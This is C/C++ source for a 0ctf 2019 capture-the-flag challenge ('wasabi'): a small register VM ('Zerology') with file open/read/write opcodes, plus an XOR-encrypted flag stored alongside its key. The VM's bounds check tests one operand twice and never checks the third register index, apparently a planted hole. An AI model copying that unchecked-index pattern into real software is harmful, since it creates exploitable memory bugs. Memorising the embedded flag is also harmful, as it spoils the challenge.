-------------------------------------------------------------------------------- 1 | 2 | #ifndef STEP2_H 3 | #define STEP2_H 4 | 5 | #include 6 | 7 | uint8_t cipher_flag[] = "\x3e\x81\x34\x00\x8b\xfc\xbc\x9c\x41\x21\x3a\xa4\xcb\x4f\x30\xfe\xeb\x3d\x2c\x3f\x9b\x4a\xd4\x40\x51\xac\x3c\xe0\xf5\xcb\x7d\x4f\xf3\x5c\x05\x54\xc0\x13\xdb\x78\x85\x54\xb9\xbd\xc4\x34\x4b\xaf\x0d\x6a\x97\xf2\x0f\xf0\x71\x62\x32\x1a\x90\x5e\x93\x77\x14\xe9\x91\x76\x94\x47\x51\x97\x3e\xab\xfd\x5f\xfb\x69\x12\x7e\x78"; 8 | 9 | #define DEC_FLAG2(flag) do { \ 10 | uint8_t key[79] = {0}; \ 11 | key[0] = 0x58; \ 12 | key[1] = 0xed; \ 13 | key[2] = 0x55; \ 14 | key[3] = 0x67; \ 15 | key[4] = 0xf0; \ 16 | key[5] = 0xcc; \ 17 | key[6] = 0x8d; \ 18 | key[7] = 0xf8; \ 19 | key[8] = 0x1e; \ 20 | key[9] = 0x69; \ 21 | key[10] = 0x9; \ 22 | key[11] = 0x90; \ 23 | key[12] = 0xbb; \ 24 | key[13] = 0x10; \ 25 | key[14] = 0x5f; \ 26 | key[15] = 0x88; \ 27 | key[16] = 0xd8; \ 28 | key[17] = 0x4f; \ 29 | key[18] = 0x4a; \ 30 | key[19] = 0x53; \ 31 | key[20] = 0xab; \ 32 | key[21] = 0x3d; \ 33 | key[22] = 0x8b; \ 34 | key[23] = 0x33; \ 35 | key[24] = 0x25; \ 36 | key[25] = 0x9d; \ 37 | key[26] = 0x50; \ 38 | key[27] = 0x8c; \ 39 | key[28] = 0xaa; \ 40 | key[29] = 0xa2; \ 41 | key[30] = 0x13; \ 42 | key[31] = 0x10; \ 43 | key[32] = 0xc1; \ 44 | key[33] = 0x6c; \ 45 | key[34] = 0x34; \ 46 | key[35] = 0x6d; \ 47 | key[36] = 0x9f; \ 48 | key[37] = 0x44; \ 49 | key[38] = 0x9a; \ 50 | key[39] = 0x2b; \ 51 | key[40] = 0xc8; \ 52 | key[41] = 0xb; \ 53 | key[42] = 0xd8; \ 54 | key[43] = 0xd3; \ 55 | key[44] = 0xa0; \ 56 | key[45] = 0x6b; \ 57 | key[46] = 0x27; \ 58 | key[47] = 0xca; \ 59 | key[48] = 0x79; \ 60 | key[49] = 0x4d; \ 61 | key[50] = 0xe4; \ 62 | key[51] = 0xad; \ 63 | key[52] = 0x6a; \ 64 | key[53] = 0x9e; \ 65 | key[54] = 0x1b; \ 66 | key[55] = 0x52; \ 67 | key[56] = 0x4b; \ 68 | key[57] = 0x45; \ 69 | key[58] = 0xe4; \ 70 | key[59] = 0x36; \ 71 | key[60] = 0xf6; \ 72 | key[61] = 0x28; \ 73 | key[62] = 0x25; \ 74 | key[63] = 0x9a; \ 75 | key[64] = 0xe5; \ 76 | key[65] = 0x29; \ 77 | key[66] = 0xed; \ 78 | key[67] = 0x22; \ 79 | key[68] = 0x30; \ 80 | key[69] = 0xe5; \ 81 | key[70] = 0x61; \ 82 | key[71] = 0xc4; \ 83 | key[72] = 0x9b; \ 84 | key[73] = 0x0; \ 85 | key[74] = 0xac; \ 86 | key[75] = 0x28; \ 87 | key[76] = 0x41; \ 88 | key[77] = 0x37; \ 89 | key[78] = 0x5; \ 90 | for (uint32_t i = 0; i < 79; ++i) { \ 91 | flag[i] = cipher_flag[i] ^ key[i]; \ 92 | } \ 93 | } while (0) 94 | #endif 95 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/step3.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "step3.h" 8 | #include "zerology.h" 9 | 10 | uint16_t g_regs[NUM_OF_GPR] = {0}; 11 | uint8_t g_memory[MEMORY_SIZE] = {0}; 12 | 13 | // FIXME: is this function signature ok?? 14 | void step3() 15 | { 16 | Zerology *vm = new Zerology(g_regs, NUM_OF_GPR, g_memory, MEMORY_SIZE); 17 | if (!vm) _exit(0); 18 | 19 | OlogyOpcode operators[14]; 20 | uint32_t operands[14][3]; 21 | 22 | operators[0] = OP_li; 23 | operators[1] = OP_mov; 24 | operators[2] = OP_add; 25 | operators[3] = OP_mov; 26 | operators[4] = OP_add; 27 | operators[5] = OP_mul; 28 | operators[6] = OP_li; 29 | operators[7] = OP_exchange; 30 | operators[8] = OP__write; 31 | operators[9] = OP_exchange; 32 | operators[10] = OP_add; 33 | operators[11] = OP_cmp; 34 | operators[12] = OP_jmpcond; 35 | operators[13] = OP_quit; 36 | 37 | operands[0][0] = 0; 38 | operands[0][1] = 1; 39 | operands[0][2] = 2; 40 | 41 | operands[1][0] = 1; 42 | operands[1][1] = 0; 43 | operands[1][2] = 3; 44 | 45 | operands[2][0] = 2; 46 | operands[2][1] = 1; 47 | operands[2][2] = 0; 48 | 49 | operands[3][0] = 3; 50 | operands[3][1] = 2; 51 | operands[3][2] = 0; 52 | 53 | operands[4][0] = 4; 54 | operands[4][1] = 2; 55 | operands[4][2] = 3; 56 | 57 | operands[5][0] = 5; 58 | operands[5][1] = 4; 59 | operands[5][2] = 4; 60 | 61 | operands[6][0] = 7; 62 | operands[6][1] = 1; 63 | operands[6][2] = 4; 64 | 65 | operands[7][0] = 6; 66 | operands[7][1] = 1; 67 | operands[7][2] = 0; 68 | 69 | operands[8][0] = 7; 70 | operands[8][1] = 6; 71 | operands[8][2] = 3; 72 | 73 | operands[9][0] = 1; 74 | operands[9][1] = 6; 75 | operands[9][2] = 0; 76 | 77 | operands[10][0] = 1; 78 | operands[10][1] = 1; 79 | operands[10][2] = 0; 80 | 81 | operands[11][0] = 5; 82 | operands[11][1] = 1; 83 | operands[11][2] = CMP_GT; 84 | 85 | operands[12][0] = (uint32_t)-5; 86 | operands[12][1] = 0; 87 | operands[12][2] = 0; 88 | 89 | operands[13][0] = 8; 90 | operands[13][1] = 8; 91 | operands[13][2] = 6; 92 | 93 | uint32_t num_of_ins = 14; 94 | 95 | 96 | uint32_t cur_pc = 0; 97 | 98 | while (cur_pc < num_of_ins) 99 | { 100 | int32_t ins_result = vm->run_ins(operators[cur_pc], 101 | operands[cur_pc][0], 102 | operands[cur_pc][1], 103 | operands[cur_pc][2]); 104 | 105 | if (ins_result == INS_RESULT_FAIL) 106 | break; 107 | 108 | cur_pc += ins_result; 109 | } 110 | 111 | delete vm; 112 | _exit(0); 113 | } 114 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/step3.h: -------------------------------------------------------------------------------- 1 | #ifndef STEP3_H 2 | #define STEP3_H 3 | 4 | 5 | void step3(); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/utils.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | uint32_t read_n_until(char *buf, uint32_t n, char end) 7 | { 8 | uint32_t i; 9 | char ch; 10 | 11 | for (i = 0; i < n; ++i) 12 | { 13 | int ret = read(0, &ch, 1); 14 | if (ret == -1 || ch == end) 15 | { 16 | break; 17 | } 18 | buf[i] = ch; 19 | } 20 | if (i < n) 21 | buf[i] = '\x00'; 22 | else 23 | buf[n-1] = '\x00'; 24 | return i; 25 | } 26 | 27 | int read_int() 28 | { 29 | char buf[0x10]; 30 | read_n_until(buf, sizeof(buf), '\n'); 31 | return atoi(buf); 32 | } 33 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | 4 | #include 5 | #include 6 | 7 | #define LOG_DEBUG 0 8 | 9 | #define LOG(fmt, ...) do { \ 10 | if (LOG_DEBUG) fprintf(stderr, fmt, ##__VA_ARGS__); \ 11 | } while (0) 12 | 13 | uint32_t read_n_until(char *buf, uint32_t n, char end); 14 | int read_int(); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/zerology.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "zerology.h" 9 | #include "step3.h" 10 | #include "utils.h" 11 | 12 | Ology::Ology() 13 | { 14 | memset(this->regs, 0, sizeof(this->regs)); 15 | memset(this->memory, 0, sizeof(this->memory)); 16 | 17 | memcpy(this->memory+1, "Amazing,gogogo", 14); 18 | 19 | this->preg = 0; 20 | } 21 | 22 | Ology::Ology(uint16_t *_regs, uint32_t reg_num, uint8_t *_memory, uint32_t memory_size) 23 | { 24 | memset(this->regs, 0, sizeof(this->regs)); 25 | memset(this->memory, 0, sizeof(this->memory)); 26 | 27 | memcpy(this->regs, _regs, reg_num*sizeof(uint16_t)); 28 | memcpy(this->memory, _memory, memory_size*sizeof(uint8_t)); 29 | this->preg = 0; 30 | } 31 | 32 | Zerology::Zerology(uint16_t *_regs, uint32_t reg_num, uint8_t *_memory, uint32_t memory_size) 33 | : Ology(_regs, reg_num, _memory, memory_size) 34 | { 35 | } 36 | Zerology::~Zerology() 37 | { 38 | 39 | } 40 | 41 | int32_t Zerology::add(uint32_t rd, uint32_t rs, uint32_t rt) 42 | { 43 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 44 | { 45 | return INS_RESULT_FAIL; 46 | } 47 | 48 | this->regs[rd] = this->regs[rs] + this->regs[rt]; 49 | 50 | LOG("r%d(%#x) = r%d(%#x) + r%d(%#x)\n", 51 | rd, this->regs[rd], 52 | rs, this->regs[rs], 53 | rt, this->regs[rt] 54 | ); 55 | return INS_RESULT_NEXT; 56 | } 57 | 58 | int32_t Zerology::sub(uint32_t rd, uint32_t rs, uint32_t rt) 59 | { 60 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 61 | { 62 | return INS_RESULT_FAIL; 63 | } 64 | 65 | this->regs[rd] = this->regs[rs] - this->regs[rt]; 66 | 67 | LOG("r%d(%#x) = r%d(%#x) - r%d(%#x)\n", 68 | rd, this->regs[rd], 69 | rs, this->regs[rs], 70 | rt, this->regs[rt] 71 | ); 72 | return INS_RESULT_NEXT; 73 | } 74 | 75 | int32_t Zerology::mul(uint32_t rd, uint32_t rs, uint32_t rt) 76 | { 77 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 78 | { 79 | return INS_RESULT_FAIL; 80 | } 81 | 82 | uint32_t result = this->regs[rs] * this->regs[rt]; 83 | uint16_t low= (result >> 0) & 0xffff; 84 | 85 | this->regs[rd] = low; 86 | 87 | LOG("r%d(%#x) = r%d(%#x) * r%d(%#x)\n", 88 | rd, low, 89 | rs, this->regs[rs], 90 | rt, this->regs[rt] 91 | ); 92 | return INS_RESULT_NEXT; 93 | } 94 | 95 | int32_t Zerology::div(uint32_t rd, uint32_t rs, uint32_t rt) 96 | { 97 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 98 | { 99 | return INS_RESULT_FAIL; 100 | } 101 | 102 | if (this->regs[rt] == 0) 103 | return INS_RESULT_FAIL; 104 | 105 | this->regs[rd] = this->regs[rs] / this->regs[rt]; 106 | 107 | LOG("r%d(%#x) = r%d(%#x) / r%d(%#x)\n", 108 | rd, this->regs[rd], 109 | rs, this->regs[rs], 110 | rt, this->regs[rt] 111 | ); 112 | return INS_RESULT_NEXT; 113 | } 114 | 115 | int32_t Zerology::mod(uint32_t rd, uint32_t rs, uint32_t rt) 116 | { 117 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 118 | { 119 | return INS_RESULT_FAIL; 120 | } 121 | 122 | if (this->regs[rt] == 0) 123 | return INS_RESULT_FAIL; 124 | 125 | this->regs[rd] = this->regs[rs] % this->regs[rt]; 126 | 127 | LOG("r%d(%#x) = r%d(%#x) %% r%d(%#x)\n", 128 | rd, this->regs[rd], 129 | rs, this->regs[rs], 130 | rt, this->regs[rt] 131 | ); 132 | return INS_RESULT_NEXT; 133 | } 134 | 135 | int32_t Zerology::nor(uint32_t rd, uint32_t rs, uint32_t rt) 136 | { 137 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs) || !CHECK_GPR(rs)) 138 | { 139 | return INS_RESULT_FAIL; 140 | } 141 | 142 | this->regs[rd] = ~(this->regs[rs] | this->regs[rt]); 143 | 144 | LOG("r%d(%#x) = ~(r%d(%#x) | r%d(%#x))\n", 145 | rd, ~(this->regs[rs] | this->regs[rt]), 146 | rs, this->regs[rs], 147 | rt, this->regs[rt] 148 | ); 149 | return INS_RESULT_NEXT; 150 | } 151 | 152 | 153 | int32_t Zerology::mov(uint32_t rd, uint32_t rs, uint32_t _) 154 | { 155 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs)) 156 | { 157 | return INS_RESULT_FAIL; 158 | } 159 | 160 | this->regs[rd] = this->regs[rs]; 161 | 162 | LOG("r%d(%#x) = r%d(%#x)\n", 163 | rd, this->regs[rd], 164 | rs, this->regs[rs]); 165 | 166 | return INS_RESULT_NEXT; 167 | } 168 | 169 | int32_t Zerology::exchange(uint32_t rd, uint32_t rs, uint32_t _) 170 | { 171 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs)) 172 | { 173 | return INS_RESULT_FAIL; 174 | } 175 | 176 | uint16_t tmp = this->regs[rs]; 177 | this->regs[rs] = this->regs[rd]; 178 | this->regs[rd] = tmp; 179 | 180 | LOG("r%d(%#x) <=> r%d(%#x)\n", 181 | rd, this->regs[rd], 182 | rs, this->regs[rs]); 183 | return INS_RESULT_NEXT; 184 | } 185 | 186 | int32_t Zerology::li(uint32_t rd, uint16_t imm, uint32_t _) 187 | { 188 | if (!CHECK_GPR(rd)) 189 | { 190 | return INS_RESULT_FAIL; 191 | } 192 | 193 | this->regs[rd] = (uint16_t)imm; 194 | 195 | LOG("r%d(%#x) = %#x\n", 196 | rd, this->regs[rd], 197 | imm 198 | ); 199 | 200 | return INS_RESULT_NEXT; 201 | } 202 | 203 | int32_t Zerology::load(uint32_t rd, uint32_t rs, uint32_t type) 204 | { 205 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs)) 206 | { 207 | return INS_RESULT_FAIL; 208 | } 209 | 210 | uint16_t mem = 0; 211 | switch (type) 212 | { 213 | case 1: 214 | { 215 | mem = this->regs[rs]; 216 | this->regs[rd] = this->memory[mem]; 217 | 218 | LOG("r%d(%#x) = byte ptr [r%d(%#x)] (%#02x)\n", 219 | rd, this->regs[rd], 220 | rs, this->regs[rs], 221 | this->regs[rd] 222 | ); 223 | } 224 | break; 225 | case 2: 226 | { 227 | mem = this->regs[rs]; 228 | if (mem > MEMORY_SIZE-2) 229 | return INS_RESULT_FAIL; 230 | 231 | this->regs[rd] = *(uint16_t *)(this->memory + mem); 232 | 233 | LOG("r%d(%#x) = word ptr [r%d(%#x)] (%#02x)\n", 234 | rd, this->regs[rd], 235 | rs, this->regs[rs], 236 | this->regs[rd] 237 | ); 238 | } 239 | break; 240 | } 241 | return INS_RESULT_NEXT; 242 | } 243 | 244 | int32_t Zerology::store(uint32_t rd, uint32_t rs, uint32_t type) 245 | { 246 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs)) 247 | { 248 | return INS_RESULT_FAIL; 249 | } 250 | 251 | uint16_t mem = 0; 252 | switch (type) 253 | { 254 | case 1: 255 | { 256 | mem = this->regs[rs]; 257 | this->memory[mem] = this->regs[rd] & 0xff; 258 | 259 | LOG("byte ptr [r%d(%#x)] (%#02x) = r%d(%#x)\n", 260 | rs, this->regs[rs], 261 | this->regs[rd], 262 | rd, this->regs[rd] 263 | ); 264 | } 265 | break; 266 | case 2: 267 | { 268 | mem = this->regs[rs]; 269 | if (mem > MEMORY_SIZE-2) 270 | return INS_RESULT_FAIL; 271 | 272 | *(uint16_t *)(this->memory + mem) = this->regs[rd]; 273 | 274 | LOG("word ptr [r%d(%#x)] (%#02x) = r%d(%#x)\n", 275 | rs, this->regs[rs], 276 | this->regs[rd], 277 | rd, this->regs[rd] 278 | ); 279 | } 280 | break; 281 | } 282 | return INS_RESULT_NEXT; 283 | } 284 | 285 | 286 | int32_t Zerology::jmp(uint32_t offset, uint32_t _, uint32_t __) 287 | { 288 | LOG("jmp %#x\n", offset); 289 | 290 | return (int32_t)offset; 291 | } 292 | 293 | int32_t Zerology::jmpcond(uint32_t offset, uint32_t _, uint32_t __) 294 | { 295 | LOG("jmpcond (%d) %#x (%s)\n", 296 | this->preg, 297 | offset, 298 | (this->preg) ? "Taken": "Not taken" 299 | ); 300 | 301 | if (this->preg) 302 | return (int32_t)offset; 303 | else 304 | return INS_RESULT_NEXT; 305 | } 306 | 307 | 308 | int32_t Zerology::cmp(uint32_t rd, uint32_t rs, uint32_t cond) 309 | { 310 | if (!CHECK_GPR(rd) || !CHECK_GPR(rs)) 311 | { 312 | return INS_RESULT_FAIL; 313 | } 314 | 315 | switch (cond) 316 | { 317 | case CMP_LT: 318 | { 319 | this->preg = (this->regs[rd] < this->regs[rs]); 320 | 321 | LOG("r%d(%#x) < r%d(%#x)\n", 322 | rd, this->regs[rd], 323 | rs, this->regs[rs] 324 | ); 325 | } 326 | break; 327 | case CMP_EQ: 328 | { 329 | this->preg = (this->regs[rd] == this->regs[rs]); 330 | 331 | LOG("r%d(%#x) == r%d(%#x)\n", 332 | rd, this->regs[rd], 333 | rs, this->regs[rs] 334 | ); 335 | } 336 | break; 337 | case CMP_GT: 338 | { 339 | this->preg = (this->regs[rd] > this->regs[rs]); 340 | 341 | LOG("r%d(%#x) > r%d(%#x)\n", 342 | rd, this->regs[rd], 343 | rs, this->regs[rs] 344 | ); 345 | } 346 | break; 347 | default: 348 | { 349 | return INS_RESULT_FAIL; 350 | } 351 | } 352 | return INS_RESULT_NEXT; 353 | } 354 | 355 | 356 | int32_t Zerology::_open(uint32_t reg_fd, uint32_t reg_filename, uint32_t reg_mode) 357 | { 358 | if (!CHECK_GPR(reg_fd) || !CHECK_GPR(reg_filename) || !CHECK_GPR(reg_mode)) 359 | { 360 | return INS_RESULT_FAIL; 361 | } 362 | 363 | char *filename = (char *)(this->memory + this->regs[reg_filename]); 364 | int mode = this->regs[reg_mode]; 365 | 366 | #ifdef WASI 367 | mode <<= 16; 368 | #endif 369 | 370 | int fd = open(filename, mode); 371 | this->regs[reg_fd] = fd; 372 | 373 | LOG("r%d(%d) = open([%#x]\"%s\", %#x)\n", reg_fd, fd, this->regs[reg_filename], filename, mode); 374 | 375 | return INS_RESULT_NEXT; 376 | } 377 | 378 | int32_t Zerology::_read(uint32_t reg_fd, uint32_t reg_buf, uint32_t _) 379 | { 380 | if (!CHECK_GPR(reg_fd) || !CHECK_GPR(reg_buf)) 381 | { 382 | return INS_RESULT_FAIL; 383 | } 384 | 385 | int fd = this->regs[reg_fd]; 386 | char *buf = (char *)(this->memory+this->regs[reg_buf]); 387 | 388 | read(fd, buf, 1); 389 | 390 | LOG("read(%d, [r%d(%#x)] => '%c' (%02x), %#x)\n", 391 | fd, 392 | reg_buf, this->regs[reg_buf], 393 | *buf, *buf, 394 | 1); 395 | 396 | return INS_RESULT_NEXT; 397 | } 398 | 399 | int32_t Zerology::_write(uint32_t reg_fd, uint32_t reg_buf, uint32_t _) 400 | { 401 | if (!CHECK_GPR(reg_fd) || !CHECK_GPR(reg_buf)) 402 | { 403 | return INS_RESULT_FAIL; 404 | } 405 | 406 | int fd = this->regs[reg_fd]; 407 | char *buf = (char *)(this->memory+this->regs[reg_buf]); 408 | 409 | write(fd, buf, 1); 410 | 411 | LOG("write(%d, [r%d(%#x)] => '%c' (%02x), %#x)\n", 412 | fd, 413 | reg_buf, this->regs[reg_buf], 414 | *buf, *buf, 415 | 1); 416 | 417 | return INS_RESULT_NEXT; 418 | } 419 | 420 | int32_t Zerology::_close(uint32_t reg_fd, uint32_t _, uint32_t __) 421 | { 422 | if (!CHECK_GPR(reg_fd)) 423 | { 424 | return INS_RESULT_FAIL; 425 | } 426 | 427 | int fd = this->regs[reg_fd]; 428 | 429 | close(fd); 430 | 431 | LOG("close(%d)\n", fd); 432 | 433 | return INS_RESULT_NEXT; 434 | } 435 | 436 | int32_t Zerology::nop(uint32_t, uint32_t, uint32_t) 437 | { 438 | LOG("nop\n"); 439 | return INS_RESULT_NEXT; 440 | } 441 | 442 | int32_t Zerology::quit(uint32_t, uint32_t, uint32_t) 443 | { 444 | LOG("quit\n"); 445 | return INS_RESULT_FAIL; 446 | } 447 | 448 | int32_t Zerology::run_ins(uint32_t opcode, uint32_t op1, uint32_t op2, uint32_t op3) 449 | { 450 | #define CASE_OP(op) case OP_ ##op : return this->op(op1, op2, op3) 451 | 452 | switch (opcode) 453 | { 454 | CASE_OP(nop); 455 | 456 | CASE_OP(add); 457 | CASE_OP(sub); 458 | CASE_OP(mul); 459 | CASE_OP(div); 460 | CASE_OP(mod); 461 | CASE_OP(nor); 462 | 463 | CASE_OP(mov); 464 | CASE_OP(exchange); 465 | CASE_OP(li); 466 | 467 | CASE_OP(load); 468 | CASE_OP(store); 469 | 470 | CASE_OP(jmp); 471 | CASE_OP(jmpcond); 472 | 473 | CASE_OP(cmp); 474 | 475 | CASE_OP(_open); 476 | CASE_OP(_read); 477 | CASE_OP(_write); 478 | CASE_OP(_close); 479 | 480 | CASE_OP(quit); 481 | } 482 | 483 | return INS_RESULT_FAIL; 484 | } 485 | 486 | 487 | 488 | #ifdef STEP3_DEBUG 489 | int main() 490 | { 491 | Zerology * six = new Zerology(); 492 | 493 | /* 494 | six->li(0, 1, 0); 495 | six->li(1, 2, 0); 496 | six->li(2, 3, 0); 497 | six->li(3, 4, 0); 498 | six->li(4, 5, 0); 499 | six->li(5, 6, 0); 500 | six->add(7, 0, 1); 501 | six->div(8, 4, 2); 502 | six->mod(9, 4, 2); 503 | six->mul(10, 4, 3); 504 | six->sub(11, 4, 1); 505 | six->mov(12, 11, 0); 506 | six->exchange(10, 12, 0); 507 | 508 | six->li(0, 0x3231, 0); 509 | six->li(1, 0, 0); 510 | six->store(0, 1, 2); 511 | six->li(0, 0x3433, 0); 512 | six->li(1, 2, 0); 513 | six->store(0, 1, 2); 514 | 515 | six->li(0, 0, 0); 516 | six->li(1, 0, 0); 517 | six->_open(2, 0, 1); 518 | 519 | uint32_t base; 520 | for (base = 0x10; base < 0x20; base++) 521 | { 522 | six->li(3, base, 0); 523 | six->_read(2, 3, 0); 524 | } 525 | 526 | six->li(4, 1, 0); 527 | for (base = 0x10; base < 0x20; base++) 528 | { 529 | six->li(3, base, 0); 530 | six->_write(4, 3, 0); 531 | } 532 | */ 533 | 534 | 535 | /* 536 | 537 | six->li(0, 0x3231, 0); 538 | six->li(1, 0, 0); 539 | six->store(0, 1, 2); 540 | six->li(0, 0x3433, 0); 541 | six->li(1, 2, 0); 542 | six->store(0, 1, 2); 543 | 544 | six->li(0, 0, 0); 545 | six->li(1, 0, 0); 546 | six->_open(2, 0, 1); 547 | 548 | six->li(4, 1, 0); 549 | six->li(5, 0x20, 0); 550 | 551 | six->li(3, 0x10, 0); 552 | six->_read(2, 3, 0); 553 | six->add(3, 3, 4); 554 | six->cmp(3, 5, CMP_LT); 555 | six->jmpcond(-4, 0, 0); 556 | 557 | six->quit(0, 0, 0); 558 | */ 559 | 560 | step3(six); 561 | 562 | //six->li(0, 0x2019, 2); 563 | //six->li(10, 0x30, 4); 564 | //six->li(0, 0x2019, 2); 565 | 566 | delete six; 567 | } 568 | 569 | #endif 570 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/zerology.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEROLOGY_H 2 | #define ZEROLOGY_H 3 | 4 | #include 5 | 6 | #define VM_DEBUG 7 | 8 | #define NUM_OF_GPR (0x20U) 9 | #define MEMORY_SIZE (0x10000) 10 | 11 | #define CHECK_GPR(reg) (((uint32_t)reg >= 0U) && ((uint32_t)reg < NUM_OF_GPR)) 12 | 13 | #define INS_RESULT_FAIL (-0x10000) 14 | #define INS_RESULT_NEXT (1) 15 | 16 | enum OlogyOpcode { 17 | OP_nop = 0, 18 | 19 | OP_add, 20 | OP_sub, 21 | OP_mul, 22 | OP_div, 23 | OP_mod, 24 | OP_nor, 25 | 26 | OP_mov, 27 | OP_exchange, 28 | OP_li, 29 | 30 | OP_load, 31 | OP_store, 32 | 33 | OP_jmp, 34 | OP_jmpcond, 35 | 36 | OP_cmp, 37 | 38 | OP__open, 39 | OP__read, 40 | OP__write, 41 | OP__close, 42 | 43 | OP_quit, 44 | }; 45 | 46 | enum CMP_OP { 47 | CMP_LT = 0, 48 | CMP_EQ, 49 | CMP_GT, 50 | }; 51 | 52 | class Ology 53 | { 54 | public: 55 | Ology(); 56 | Ology(uint16_t *_regs, uint32_t reg_num, uint8_t *memory, uint32_t memory_size); 57 | virtual ~Ology() {}; 58 | 59 | protected: 60 | virtual int32_t add(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 61 | virtual int32_t sub(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 62 | virtual int32_t mul(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 63 | virtual int32_t div(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 64 | virtual int32_t mod(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 65 | virtual int32_t nor(uint32_t rd, uint32_t rs, uint32_t rt) = 0; 66 | 67 | virtual int32_t mov(uint32_t rd, uint32_t rs, uint32_t reserved) = 0; 68 | virtual int32_t exchange(uint32_t rd, uint32_t rs, uint32_t reserved) = 0; 69 | virtual int32_t li(uint32_t rd, uint16_t imm, uint32_t reserved) = 0; 70 | 71 | virtual int32_t load(uint32_t rd, uint32_t rs, uint32_t type) = 0; 72 | virtual int32_t store(uint32_t rd, uint32_t rs, uint32_t type) = 0; 73 | 74 | virtual int32_t jmp(uint32_t offset, uint32_t, uint32_t) = 0; 75 | virtual int32_t jmpcond(uint32_t offset, uint32_t, uint32_t) = 0; 76 | 77 | virtual int32_t cmp(uint32_t rd, uint32_t rs, uint32_t) = 0; 78 | 79 | virtual int32_t _open(uint32_t fd, uint32_t filename, uint32_t mode) = 0; 80 | virtual int32_t _read(uint32_t fd, uint32_t buf, uint32_t) = 0; 81 | virtual int32_t _write(uint32_t fd, uint32_t buf, uint32_t) = 0; 82 | virtual int32_t _close(uint32_t fd, uint32_t, uint32_t) = 0; 83 | 84 | virtual int32_t nop(uint32_t, uint32_t, uint32_t) = 0; 85 | virtual int32_t quit(uint32_t, uint32_t, uint32_t) = 0; 86 | 87 | virtual int32_t run_ins(uint32_t opcode, uint32_t op1, uint32_t op2, uint32_t op3) = 0; 88 | 89 | protected: 90 | uint16_t regs[NUM_OF_GPR]; 91 | uint8_t memory[MEMORY_SIZE]; 92 | uint16_t preg; 93 | }; 94 | 95 | class Zerology : Ology 96 | { 97 | public: 98 | Zerology(uint16_t *_regs, uint32_t reg_num, uint8_t *memory, uint32_t memory_size); 99 | ~Zerology(); 100 | 101 | public: 102 | 103 | int32_t add(uint32_t rd, uint32_t rs, uint32_t rt); 104 | int32_t sub(uint32_t rd, uint32_t rs, uint32_t rt); 105 | int32_t mul(uint32_t rd, uint32_t rs, uint32_t rt); 106 | int32_t div(uint32_t rd, uint32_t rs, uint32_t rt); 107 | int32_t mod(uint32_t rd, uint32_t rs, uint32_t rt); 108 | int32_t nor(uint32_t rd, uint32_t rs, uint32_t rt); 109 | 110 | int32_t mov(uint32_t rd, uint32_t rs, uint32_t reserved); 111 | int32_t exchange(uint32_t rd, uint32_t rs, uint32_t reserved); 112 | int32_t li(uint32_t rd, uint16_t imm, uint32_t reserved); 113 | 114 | int32_t load(uint32_t rd, uint32_t rs, uint32_t type); 115 | int32_t store(uint32_t rd, uint32_t rs, uint32_t type); 116 | 117 | int32_t jmp(uint32_t offset, uint32_t, uint32_t); 118 | int32_t jmpcond(uint32_t offset, uint32_t , uint32_t); 119 | 120 | int32_t cmp(uint32_t rd, uint32_t rs, uint32_t); 121 | 122 | int32_t _open(uint32_t fd, uint32_t filename, uint32_t mode); 123 | int32_t _read(uint32_t fd, uint32_t buf, uint32_t); 124 | int32_t _write(uint32_t fd, uint32_t buf, uint32_t); 125 | int32_t _close(uint32_t fd, uint32_t, uint32_t); 126 | 127 | int32_t nop(uint32_t, uint32_t, uint32_t); 128 | int32_t quit(uint32_t, uint32_t, uint32_t); 129 | 130 | int32_t run_ins(uint32_t opcode, uint32_t op1, uint32_t op2, uint32_t op3); 131 | }; 132 | 133 | #endif 134 | --------------------------------------------------------------------------------